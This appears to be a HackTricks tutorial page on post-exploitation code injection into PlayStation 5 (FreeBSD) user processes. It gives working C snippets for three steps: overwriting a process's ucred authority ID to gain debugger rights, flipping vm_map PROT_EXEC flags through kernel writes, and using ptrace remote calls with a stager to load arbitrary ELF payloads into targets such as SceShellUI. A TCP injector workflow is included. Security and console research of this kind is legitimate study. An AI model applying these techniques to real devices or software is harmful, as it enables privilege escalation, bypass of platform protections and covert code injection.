# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study) {{#include ../../../banners/hacktricks-training.md}} ## Overview This page documents a practical Unix/BSD usermode process/ELF injection technique on PlayStation 5 (PS5), which is based on FreeBSD. The method generalizes to FreeBSD derivatives when you already have kernel read/write (R/W) primitives. High level: - Patch the current process credentials (ucred) to grant debugger authority, enabling ptrace/mdbg on arbitrary user processes. - Find target processes by walking the kernel allproc list. - Bypass PROT_EXEC restrictions by flipping vm_map_entry.protection |= PROT_EXEC in the target’s vm_map via kernel data writes. - Use ptrace to perform Remote Function Invocation (RFI): suspend a thread, set registers to call arbitrary functions inside the target, resume, collect return values, and restore state. - Map and run arbitrary ELF payloads inside the target using an in-process ELF loader, then spawn a dedicated thread that runs your payload and triggers a breakpoint to detach cleanly. PS5 hypervisor mitigations worth noting (contextualized for this technique): - XOM (execute-only .text) prevents reading/writing kernel .text. - Clearing CR0.WP or disabling CR4.SMEP causes a hypervisor vmexit (crash). Only data-only kernel writes are viable. - Userland mmap is restricted to PROT_READ|PROT_WRITE by default. Granting PROT_EXEC must be done by editing vm_map entries in kernel memory. This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing. ## Kernel data-only primitives ### Process discovery via allproc FreeBSD maintains a doubly-linked list of processes in kernel .data at allproc. With a kernel read primitive, iterate it to locate process names and PIDs: ```c struct proc* find_proc_by_name(const char* proc_name){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry if (!strcmp(proc->p_comm, proc_name)) return proc; kernel_copyout(next, &next, sizeof(uint64_t)); // advance next } while (next); free(proc); return NULL; } void list_all_proc_and_pid(){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); printf("%s - %d\n", proc->p_comm, proc->pid); kernel_copyout(next, &next, sizeof(uint64_t)); } while (next); free(proc); } ``` Notes: - KERNEL_ADDRESS_ALLPROC is firmware-dependent. - p_comm is a fixed-size name; consider pid->proc lookups if needed. ### Elevate credentials for debugging (ucred) On PS5, struct ucred includes an Authority ID field reachable via proc->p_ucred. Writing the debugger authority ID grants ptrace/mdbg over other processes: ```c void set_ucred_to_debugger(){ struct proc* proc = get_proc_by_pid(getpid()); if (proc){ uintptr_t authid = 0; // read current (optional) uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t)); kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t)); free(proc); } } ``` - Offset 0x58 is specific to the PS5 firmware family and must be verified per version. - After this write, the injector can attach and instrument user processes via ptrace/mdbg. ## Bypassing RW-only user mappings: vm_map PROT_EXEC flip Userland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks a process’s address space in a vm_map of vm_map_entry nodes (BST plus list). Each entry carries protection and max_protection fields: ```c struct vm_map_entry { struct vm_map_entry *prev,*next,*left,*right; vm_offset_t start, end, avail_ssize; vm_size_t adj_free, max_free; union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags; vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; int wired_count; vm_pindex_t lastr; }; ``` With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes: - Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range. - Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks. - PS5 SDK code provides helpers for fast map-entry lookup and toggling protections. This bypasses userland’s mmap policy by editing kernel-owned metadata directly. ## Remote Function Invocation (RFI) with ptrace FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control: 1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply. 2. Save thread context: registers, PC, SP, flags. 3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed. 4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs. 5. Restore original context and continue. Use cases: - Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory. - Invoke helper routines to fetch returned entrypoints and payload-args pointers. Example of driving the ELF loader: ```c intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target); intptr_t args = elfldr_payload_args(target_pid); printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args); ``` The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main(). ## Threaded stager and clean detach A minimal stager inside the target creates a new pthread that runs the ELF’s main and then triggers int3 to signal the injector to detach: ```c int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){ pthread_t thread; functions->pthread_create_ptr(&thread, 0, (void*(*)(void*))functions->elf_main, functions->payload_args); asm("int3"); return 0; } ``` - The SCEFunctions/payload_args pointers are provided by the loader/SDK glue. - After the breakpoint and detach, the payload continues in its own thread. ## End-to-end pipeline (PS5 reference implementation) A working implementation ships as a small TCP injector server plus a client script: - NineS server listens on TCP 9033 and receives a header containing the target process name followed by the ELF image: ```c typedef struct __injector_data_t{ char proc_name[MAX_PROC_NAME]; Elf64_Ehdr elf_header; } injector_data_t; ``` - Python client usage: ```bash python3 ./send_injection_elf.py SceShellUI hello_world.elf ``` Hello-world payload example (logs to klog): ```c #include #include #include int main(){ klog_printf("Hello from PID %d\n", getpid()); return 0; } ``` ## Practical considerations - Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) are firmware-specific and must be updated per release. - Hypervisor protections force data-only kernel writes; do not attempt to patch CR0.WP or CR4.SMEP. - JIT memory is an alternative: some processes expose PS5 JIT APIs to allocate executable pages. The vm_map protection flip removes the need to rely on JIT/mirroring tricks. - Keep register save/restore robust; on failure, you can deadlock or crash the target. ## Public tooling - PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk - ELF loader: https://github.com/ps5-payload-dev/elfldr - Injector server: https://github.com/buzzer-re/NineS/ - Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils - Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv ## References - [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/) - [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk) - [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr) - [buzzer-re/NineS](https://github.com/buzzer-re/NineS/) - [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils) - [Mira](https://github.com/OpenOrbis/mira-project) - [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv) - [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html) {{#include ../../../banners/hacktricks-training.md}}